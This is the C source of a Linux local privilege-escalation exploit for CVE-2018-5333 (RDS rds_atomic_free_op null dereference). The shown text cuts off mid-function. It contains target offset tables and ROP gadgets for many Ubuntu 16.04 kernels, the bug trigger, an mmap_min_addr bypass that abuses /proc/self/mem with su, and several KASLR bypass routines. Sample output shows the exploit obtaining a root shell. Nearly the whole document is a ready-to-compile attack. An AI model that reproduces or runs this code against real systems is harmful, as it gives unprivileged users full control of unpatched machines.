// Local root exploit for Linux RDS rds_atomic_free_op NULL pointer dereference
// in the rds kernel module in the Linux kernel through 4.14.13 (CVE-2018-5333).
//
// Includes KASLR, SMEP, and mmap_min_addr bypasses. No SMAP bypass.
//
// Targets:
// - Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116
// - Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54
//
// The rds kernel module is not loaded by default on Ubuntu, and is blacklisted
// in /etc/modprobe.d/blacklist-rare-network.conf to prevent autoloading.
// - install: sudo apt install "linux-image-extra-$(uname -r)-generic"
// - load:    sudo insmod "/lib/modules/$(uname -r)/kernel/net/rds/rds.ko"
//
// This exploit is a modified extension of the original local root
// proof of concept exploit written by wbowling as an example of using
// CVE-2019-9213 to make previous kernel bugs exploitable:
// - https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4
//
// The original exploit is based on the null pointer dereference
// reproducer proof of concept and analysis by 0x36:
// - https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
//
// wbowling has done most of the hard work, by utilising Jann Horn's
// mmap_min_addr bypass technique (CVE-2019-9213), allowing userland to mmap
// virtual address 0 (without which this bug would not be exploitable on
// systems with a sufficiently large value for vm.mmap_min_addr);
// and developing the appropriate ROP chain.
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
//
// This exploit adds offsets for additional kernels, and introduces some
// additional features, such as KASLR bypasses and system checks, including:
// - check if system supports SMAP
// - check if system supports RDS sockets
// - Jann Horn's mincore KASLR bypass via heap page disclosure (CVE-2017-16994)
//   - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
// - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0)
//   - https://grsecurity.net/~spender/exploits/exploit.txt
// - xairy's syslog KASLR bypass (requires kernel.dmesg_restrict=0)
//   - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
// - lizzie's perf_event_open KASLR bypass (requires kernel.perf_event_paranoid<2)
//   - https://blog.lizzie.io/kaslr-and-perf.html
//
// Shoutout to nstarke for adding additional kernel offsets.
// - https://github.com/bcoles/kernel-exploits/pulls?q=author:nstarke+cve-2018-5333
//
// This exploit also uses various code patterns copied from:
// - xairy's exploits:
//   - https://github.com/xairy/kernel-exploits
// - vnik's kernel ROP code:
//   - https://github.com/vnik5287/kernel_rop
// ---
// $ gcc cve-2018-5333.c -o cve-2018-5333 -Wall
// $ ./cve-2018-5333
// Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)
// [.] checking kernel version...
// [.] kernel version '4.4.0-116-generic #140-Ubuntu' detected
// [~] done, version looks good
// [.] checking system...
// [~] done, looks good
// [.] mapping null address...
// [~] done, mapped null address
// [.] KASLR bypass enabled, getting kernel base address
// [.] trying /proc/kallsyms...
// [-] kernel base not found in /proc/kallsyms
// [.] trying syslog...
// [-] kernel base not found in syslog
// [.] trying perf_event_open sampling...
// [.] done, kernel text:   ffffffff9f000000
// [.] commit_creds:        ffffffff9f0a4cf0
// [.] prepare_kernel_cred: ffffffff9f0a50e0
// [.] mmapping fake stack...
// [~] done, fake stack mmapped
// [.] executing payload 0x402119...
// [+] got root
// # id
// uid=0(root) gid=0(root) groups=0(root)
// ---
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-5333
// <bcoles@gmail.com>

#define _GNU_SOURCE

#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <linux/perf_event.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/utsname.h>

#define DEBUG

#ifdef DEBUG
#  define dprintf printf
#else
#  define dprintf
#endif

#define ENABLE_SYSTEM_CHECKS            1
#define ENABLE_KASLR_BYPASS             1

#if ENABLE_KASLR_BYPASS
#  define KERNEL_BASE_MIN               0xffffffff00000000ul
#  define KERNEL_BASE_MAX               0xffffffffff000000ul
#  define ENABLE_KASLR_BYPASS_KALLSYMS  1
#  define ENABLE_KASLR_BYPASS_SYSLOG    1
#  define ENABLE_KASLR_BYPASS_PERF      1
#  define ENABLE_KASLR_BYPASS_MINCORE   1
#endif

// Can be overwritten by argv[1]
char *SHELL = "/bin/sh";

// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
unsigned long KERNEL_BASE = 0xffffffff81000000ul;

// Will be overwritten by detect_versions().
int kernel = -1;

// kernel target struct, using ROP chain from wbowling's exploit
struct kernel_info {
  const char* kernel_version;
  uint64_t commit_creds;
  uint64_t prepare_kernel_cred;
  uint64_t xor_rdi;     //: xor edi, edi ; ret
  uint64_t mov_rdi_rax; //: mov rdi, rax ; pop rbx ; mov rax, rdi ; pop r12 ; pop rbp ; ret
  uint64_t xchg_esp;    //: xchg eax, esp ; shr bl, 0xbf ; xor eax, eax ; pop rbp ; ret
  uint64_t swapgs;      //: swapgs ; pop rbp ; ret
  uint64_t iretq;       //: iretq
};

// Targets
struct kernel_info kernels[] = {
  { "4.4.0-21-generic #37-Ubuntu",   0xa21c0, 0xa25b0, 0x5d0c5, 0x178157, 0x3f8158, 0x64644, 0x4cc7da },
  { "4.4.0-22-generic #40-Ubuntu",   0xa2220, 0xa2610, 0x5d0c5, 0x178217, 0x3f89e8, 0x64644, 0x7d005  },
  { "4.4.0-24-generic #43-Ubuntu",   0xa2340, 0xa2730, 0x5d0c5, 0x178447, 0x3f98b8, 0x64644, 0x7d125  },
  { "4.4.0-28-generic #47-Ubuntu",   0xa24a0, 0xa2890, 0x5d0c5, 0x178717, 0x3f9f38, 0x64644, 0x585dc  },
  { "4.4.0-31-generic #50-Ubuntu",   0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3ffed8, 0x64644, 0x7d125  },
  { "4.4.0-38-generic #57-Ubuntu",   0xa2570, 0xa2960, 0x5d0c5, 0x178a97, 0x400968, 0x64634, 0x7d1e5  },
  { "4.4.0-42-generic #62-Ubuntu",   0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5  },
  { "4.4.0-98-generic #121-Ubuntu",  0xa2850, 0xa2c40, 0x5d0c5, 0x17a427, 0x40a138, 0x64694, 0x4b243  },
  { "4.4.0-108-generic #131-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35  },
  { "4.4.0-109-generic #132-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35  },
  { "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c },
  { "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 },

  /* Untested:
  { "4.4.0-51-generic #72-Ubuntu",   0xa2670, 0xa2a60, 0x5d0c5, 0x178cf7, 0x404d78, 0x64634, 0x7d1a5  },
  { "4.4.0-62-generic #83-Ubuntu",   0xa2840, 0xa2c30, 0x5d0c5, 0x179747, 0x406a78, 0x64634, 0x7d1e5  },
  { "4.4.0-63-generic #84-Ubuntu",   0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb  },
  { "4.4.0-66-generic #87-Ubuntu",   0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb  },
  { "4.4.0-70-generic #91-Ubuntu",   0xa27b0, 0xa2ba0, 0x5d0c5, 0x179847, 0x4070c8, 0x64664, 0x406eb  },
  { "4.4.0-79-generic #100-Ubuntu",  0xa2800, 0xa2bf0, 0x5d0c5, 0x179a67, 0x408338, 0x64664, 0x7d235  },
  { "4.4.0-87-generic #110-Ubuntu",  0xa2860, 0xa2c50, 0x5d0c5, 0x179ca7, 0x408768, 0x64694, 0x7d285  },
  { "4.4.0-89-generic #112-Ubuntu",  0xa28a0, 0xa2c90, 0x5d0c5, 0x179d27, 0x408ae8, 0x64694, 0x7d265  },
  { "4.4.0-96-generic #119-Ubuntu",  0xa28c0, 0xa2cb0, 0x5d0c5, 0x179e27, 0x409a48, 0x64694, 0x7d235  },
  { "4.4.0-97-generic #120-Ubuntu",  0xa2850, 0xa2c40, 0x5d0c5, 0x179e47, 0x409a58, 0x64694, 0x4ed41  },
  */

  { "4.4.0-21-lowlatency #37-Ubuntu",   0xa3150, 0xa3560, 0x5e0c5, 0x17b2c7, 0x401288, 0x64d34, 0x7d95c },
  { "4.4.0-22-lowlatency #40-Ubuntu",   0xa31c0, 0xa35d0, 0x5e0c5, 0x17b397, 0x401b48, 0x64d34, 0x7d9bc },
  { "4.4.0-24-lowlatency #43-Ubuntu",   0xa32e0, 0xa36f0, 0x5e0c5, 0x17b5e7, 0x402958, 0x64d34, 0x7dadc },
  { "4.4.0-28-lowlatency #47-Ubuntu",   0xa3450, 0xa3860, 0x5e0c5, 0x17b8c7, 0x402f48, 0x64d34, 0x7dadc },
  //{ "4.4.0-31-lowlatency #50-Ubuntu",   0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409018, 0x64d34, 0x7dadc },
  //{ "4.4.0-34-lowlatency #53-Ubuntu",   0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409088, 0x64d34, 0x7dadc },
  { "4.4.0-36-lowlatency #55-Ubuntu",   0xa3430, 0xa3840, 0x5e0c5, 0x17b9e7, 0x409318, 0x64d24, 0x7dacc },
  { "4.4.0-38-lowlatency #57-Ubuntu",   0xa3500, 0xa3910, 0x5e0c5, 0x17bcb7, 0x409b38, 0x64d24, 0x4c030 },
  { "4.4.0-42-lowlatency #62-Ubuntu",   0xa3560, 0xa3970, 0x5e0c5, 0x17bcf7, 0x409f68, 0x64d24, 0x7db6c },
  { "4.4.0-98-lowlatency #121-Ubuntu",  0xa38c0, 0xa3cd0, 0x5e0c5, 0x17d737, 0x413408, 0x64d84, 0x24454 },
  { "4.4.0-109-lowlatency #132-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac },
  { "4.4.0-112-lowlatency #135-Ubuntu", 0xa5bd0, 0xa5fe0, 0x5f0c5, 0x17f9a7, 0x415448, 0x65d94, 0x7f8dc },
  { "4.4.0-116-lowlatency #140-Ubuntu", 0xa6e00, 0xa7210, 0x600c5, 0x1818f7, 0x418a38, 0x66de4, 0x809ef },

  { "4.8.0-34-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
  { "4.8.0-36-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
  { "4.8.0-39-generic #42~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
  { "4.8.0-41-generic #44~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
  { "4.8.0-42-generic #45~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dea8, 0x642f4, 0x5c4f3 },
  { "4.8.0-44-generic #47~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
  { "4.8.0-45-generic #48~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
  { "4.8.0-46-generic #49~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
  { "4.8.0-49-generic #52~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
  { "4.8.0-51-generic #54~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
  { "4.8.0-52-generic #55~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
  { "4.8.0-53-generic #56~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
  { "4.8.0-54-generic #57~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
  //{ "4.8.0-56-generic #61~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e278, 0x642f4, 0x7ed3b },
  //{ "4.8.0-58-generic #63~16.04.1-Ubuntu", 0xa5d20, 0xa6110, 0x5d0c5, 0x187797, 0x43dfa8, 0x642f4, 0x7ed5b },

  { "4.8.0-34-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
  { "4.8.0-36-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
  //{ "4.8.0-39-lowlatency #42~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
  { "4.8.0-41-lowlatency #44~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
  { "4.8.0-42-lowlatency #45~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447428, 0x649f4, 0x4b3e3 },
  { "4.8.0-44-lowlatency #47~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
  { "4.8.0-45-lowlatency #48~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
  { "4.8.0-46-lowlatency #49~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
  { "4.8.0-49-lowlatency #52~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
  { "4.8.0-51-lowlatency #54~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
  { "4.8.0-52-lowlatency #55~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
  { "4.8.0-53-lowlatency #56~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
  { "4.8.0-54-lowlatency #57~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x7f912 },
  //{ "4.8.0-56-lowlatency #61~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477f8, 0x649f4, 0x7f912 },
  //{ "4.8.0-58-lowlatency #63~16.04.1-Ubuntu", 0xa6ef0, 0xa7300, 0x5e0c5, 0x18aee7, 0x447568, 0x649f4, 0x7f932 },

  //{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b },
  //{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 },
  //{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b },
};

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
// https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c

#define RAND_SIZE 4096

#ifndef SOL_RDS
#  define SOL_RDS 276
#endif
#ifndef RDS_CMSG_MASKED_ATOMIC_CSWP
#  define RDS_CMSG_MASKED_ATOMIC_CSWP 9
#endif
#ifndef AF_RDS
#  define AF_RDS 0x15
#endif

void trigger_bug()
{
  struct sockaddr_in sin;
  struct msghdr msg;
  char buf[RAND_SIZE];
  struct cmsghdr cmsg;

  memset(&sin, 0, sizeof(struct sockaddr));
  memset(&msg, 0, sizeof(msg));
  memset(buf, 0x40, sizeof(buf));
  memset(&cmsg, 0, sizeof(cmsg));

  int fd = socket(AF_RDS, 5, 0);
  if(fd < 0) {
    dprintf("[-] socket(AF_RDS): %m\n");
    return;
  }

  sin.sin_family = AF_INET;
  sin.sin_port = htons(2000);
  sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

  bind(fd, (struct sockaddr*)&sin, sizeof(sin));

  cmsg.cmsg_len = RAND_SIZE;
  cmsg.cmsg_type = RDS_CMSG_MASKED_ATOMIC_CSWP;
  cmsg.cmsg_level = SOL_RDS;

  memcpy(&buf[0], &cmsg, sizeof(cmsg));

  *(uint64_t *)(buf + 0x18) = 0x40404000; /* args->local_addr */

  msg.msg_name = &sin;
  msg.msg_namelen = sizeof(sin);
  msg.msg_iov = NULL;
  msg.msg_iovlen = 0;
  msg.msg_control = buf;
  msg.msg_controllen = RAND_SIZE;
  msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL;

  sendmsg(fd, &msg, 0);
}

// * * * * * * * * * * * * * * map null address * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2

void map_null() {
  void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
    MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);

  if (map == MAP_FAILED) {
    dprintf("[-] mmap(null): %m\n");
    exit(EXIT_FAILURE);
  }

  char* path = "/proc/self/mem";
  int fd = open(path, O_RDWR);

  if (fd == -1) {
    dprintf("open(%s): %m\n", path);
    exit(EXIT_FAILURE);
  }

  unsigned long addr = (unsigned long)map;

  while (addr != 0) {
    addr -= 0x1000;
    if (lseek(fd, addr, SEEK_SET) == -1) {
      dprintf("lseek()\n");
      exit(EXIT_FAILURE);
    }
    char cmd[1000];
    sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
    system(cmd);
  }
}

// * * * * * * * * * * * * * * * save state * * * * * * * * * * * * * * *
// https://github.com/vnik5287/kernel_rop

unsigned long user_cs, user_ss, user_rflags;

static void save_state() {
  asm(
  "movq %%cs, %0\n"
  "movq %%ss, %1\n"
  "pushfq\n"
  "popq %2\n"
  : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}

// * * * * * * * * * * * * * * SIGSEGV handler * * * * * * * * * * * * * *

void handler(int signo, siginfo_t* info, void* vcontext) {}

void debug_enable_sigsev_handler() {
  struct sigaction action;
  memset(&action, 0, sizeof(struct sigaction));
  action.sa_flags = SA_SIGINFO;
  action.sa_sigaction = handler;
  sigaction(SIGSEGV, &action, NULL);
}

// * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * *

#define CHUNK_SIZE 1024

int read_file(const char* file, char* buffer, int max_length) {
  int f = open(file, O_RDONLY);
  if (f == -1)
    return -1;
  int bytes_read = 0;
  while (1) {
    int bytes_to_read = CHUNK_SIZE;
    if (bytes_to_read > max_length - bytes_read)
      bytes_to_read = max_length - bytes_read;
    int rv = read(f, &buffer[bytes_read], bytes_to_read);
    if (rv == -1)
      return -1;
    bytes_read += rv;
    if (rv == 0)
      return bytes_read;
  }
}

#define PROC_CPUINFO_LENGTH 4096

static int check_env() {
  int fd = socket(AF_RDS, 5, 0);
  if(fd < 0) {
    dprintf("[-] socket(AF_RDS): RDS kernel module not loaded?\n");
    exit(EXIT_FAILURE);
  }

  char buffer[PROC_CPUINFO_LENGTH];
  char* path = "/proc/cpuinfo";
  int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
  if (length == -1) {
    dprintf("[-] open/read(%s): %m\n", path);
    exit(EXIT_FAILURE);
  }

  char* found = memmem(&buffer[0], length, "smap", 4);
  if (found != NULL) {
    dprintf("[-] SMAP detected, no bypass available\n");
    exit(EXIT_FAILURE);
  }

  struct stat st;

  if (stat("/dev/grsec", &st) == 0) {
    dprintf("[!] Warning: grsec is in use\n");
  }

  if (stat("/proc/sys/lkrg", &st) == 0) {
    dprintf("[!] Warning: lkrg is in use\n");
  }

  return 0;
}

struct utsname get_kernel_version() {
  struct utsname u;
  int rv = uname(&u);
  if (rv != 0) {
    dprintf("[-] uname()\n");
    exit(EXIT_FAILURE);
  }
  return u;
}

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define KERNEL_VERSION_SIZE_BUFFER 512

void detect_versions() {
  struct utsname u;
  char kernel_version[KERNEL_VERSION_SIZE_BUFFER];

  u = get_kernel_version();

  if (strstr(u.machine, "64") == NULL) {
    dprintf("[-] system is not using a 64-bit kernel\n");
    exit(EXIT_FAILURE);
  }

  if (strstr(u.version, "-Ubuntu") == NULL) {
    dprintf("[-] system is not using an Ubuntu kernel\n");
    exit(EXIT_FAILURE);
  }

  char *u_ver = strtok(u.version, " ");
  snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);

  int i;
  for (i = 0; i < ARRAY_SIZE(kernels); i++) {
    if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
      dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
      kernel = i;
      return;
    }
  }

  dprintf("[-] kernel version '%s' not recognized\n", kernel_version);
  exit(EXIT_FAILURE);
}

// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt

#if ENABLE_KASLR_BYPASS_KALLSYMS
unsigned long get_kernel_addr_kallsyms() {
  FILE *f;
  unsigned long addr = 0;
  char dummy;
  char sname[256];
  char* name = "startup_64";
  char* path = "/proc/kallsyms";

  dprintf("[.] trying %s...\n", path);
  f = fopen(path, "r");
  if (f == NULL) {
      dprintf("[-] open/read(%s): %m\n", path);
      return 0;
  }

  int ret = 0;
  while (ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      if (addr == 0)
        dprintf("[-] kernel base not found in %s\n", path);
      return addr;
    }
  }

  fclose(f);
  dprintf("[-] kernel base not found in %s\n", path);
  return 0;
}
#endif

// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c

#if ENABLE_KASLR_BYPASS_SYSLOG
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

int mmap_syslog(char** buffer, int* size) {
  *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
  if (*size == -1) {
    dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n");
    return 1;
  }

  *size = (*size / getpagesize() + 1) * getpagesize();
  *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

  *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
  if (*size == -1) {
    dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n");
    return 1;
  }

  return 0;
}

unsigned long get_kernel_addr_syslog_xenial(char* buffer, int size) {
  const char* needle1 = "Freeing unused";
  char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
  if (substr == NULL)
    return 0;

  int start = 0;
  int end = 0;
  for (start = 0; substr[start] != '-'; start++);
  for (end = start; substr[end] != '\n'; end++);

  const char* needle2 = "ffffff";
  substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));

  if (substr == NULL)
    return 0;

  char* endptr = &substr[16];
  unsigned long addr = strtoul(&substr[0], &endptr, 16);

  addr &= 0xfffffffffff00000ul;
  addr -= 0x1000000ul;

  if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
    return addr;

  return 0;
}

unsigned long get_kernel_addr_syslog() {
  unsigned long addr = 0;
  char* syslog;
  int size;

  dprintf("[.] trying syslog...\n");

  if (mmap_syslog(&syslog, &size))
    return 0;

  addr = get_kernel_addr_syslog_xenial(syslog, size);

  if (!addr)
    dprintf("[-] kernel base not found in syslog\n");

  return addr;
}
#endif

// * * * * * * * * * * * perf_event_open KASLR bypass * * * * * * * * * * *
// https://blog.lizzie.io/kaslr-and-perf.html

#if ENABLE_KASLR_BYPASS_PERF
int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags)
{
  return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags);
}

unsigned long get_kernel_addr_perf() {
  int fd;
  pid_t child;

  dprintf("[.] trying perf_event_open sampling...\n");

  child = fork();

  if (child == -1) {
    dprintf("[-] fork() failed: %m\n");
    return 0;
  }

  if (child == 0) {
    struct utsname self = {0};
    while (1) uname(&self);
    return 0;
  }

  struct perf_event_attr event = {
    .type = PERF_TYPE_SOFTWARE,
    .config = PERF_COUNT_SW_TASK_CLOCK,
    .size = sizeof(struct perf_event_attr),
    .disabled = 1,
    .exclude_user = 1,
    .exclude_hv = 1,
    .sample_type = PERF_SAMPLE_IP,
    .sample_period = 10,
    .precise_ip = 1
  };

  fd = perf_event_open(&event, child, -1, -1, 0);

  if (fd < 0) {
    dprintf("[-] syscall(SYS_perf_event_open): %m\n");
    if (child) kill(child, SIGKILL);
    if (fd > 0) close(fd);
    return 0;
  }

  uint64_t page_size = getpagesize();
  struct perf_event_mmap_page *meta_page = NULL;
  meta_page = mmap(NULL, (page_size * 2), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

  if (meta_page == MAP_FAILED) {
    dprintf("[-] mmap() failed: %m\n");
    if (child) kill(child, SIGKILL);
    if (fd > 0) close(fd);
    return 0;
  }

  if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) {
    dprintf("[-] ioctl failed: %m\n");
    if (child) kill(child, SIGKILL);
    if (fd > 0) close(fd);
    return 0;
  }
  char *data_page = ((char *) meta_page) + page_size;

  size_t progress = 0;
  uint64_t last_head = 0;
  size_t num_samples = 0;
  unsigned long min_addr = ~0;
  while (num_samples < 100) {
    /* is reading from the meta_page racy? no idea */
    while (meta_page->data_head == last_head);;
    last_head = meta_page->data_head;

    while (progress < last_head) {
      struct __attribute__((packed)) sample {
        struct perf_event_header header;
        uint64_t ip;
      } *here = (struct sample *) (data_page + progress % page_size);
      switch (here->header.type) {
      case PERF_RECORD_SAMPLE:
        num_samples++;
        if (here->header.size < sizeof(*here)) {
          dprintf("[-] size too small.\n");
          if (child) kill(child, SIGKILL);
          if (fd > 0) close(fd);
          return 0;
        }

        uint64_t prefix;
        if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
          prefix = here->ip & ~0xfffff;
        } else {
          prefix = here->ip & ~0xffffff;
        }

        if (prefix < min_addr) min_addr = prefix;
        break;
      case PERF_RECORD_THROTTLE:
      case PERF_RECORD_UNTHROTTLE:
      case PERF_RECORD_LOST:
        break;
      default:
        dprintf("[-] unexpected perf event: %x\n", here->header.type);
        if (child) kill(child, SIGKILL);
              if (fd > 0) close(fd);
        return 0;
      }
      progress += here->header.size;
    }
    /* tell the kernel we read it. */
    meta_page->data_tail = last_head;
  }

  if (child) kill(child, SIGKILL);
  if (fd > 0) close(fd);
  return min_addr;
}
#endif

// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431

#if ENABLE_KASLR_BYPASS_MINCORE
unsigned long get_kernel_addr_mincore() {
  unsigned char buf[getpagesize() / sizeof(unsigned char)];
  unsigned long iterations = 20000000;
  unsigned long addr = 0;

  dprintf("[.] trying mincore info leak...\n");

  if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
    dprintf("[-] target kernel does not permit mincore info leak\n");
    return 0;
  }

  /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
  if (mmap((void*)0x66000000, 0x20000000000,
       PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
    dprintf("[-] mmap(): %m\n");
    return 0;
  }

  int i;
  for (i = 0; i <= iterations; i++) {
    /* Touch a mishandle with this type mapping */
    if (mincore((void*)0x86000000, 0x1000000, buf)) {
      dprintf("[-] mincore(): %m\n");
      return 0;
    }

    int n;
    for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
      addr = *(unsigned long*)(&buf[n]);
      /* Kernel address space */
      if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
        addr &= 0xffffffffff000000ul;
        if (munmap((void*)0x66000000, 0x20000000000))
          dprintf("[-] munmap(): %m\n");
        return addr;
      }
    }
  }

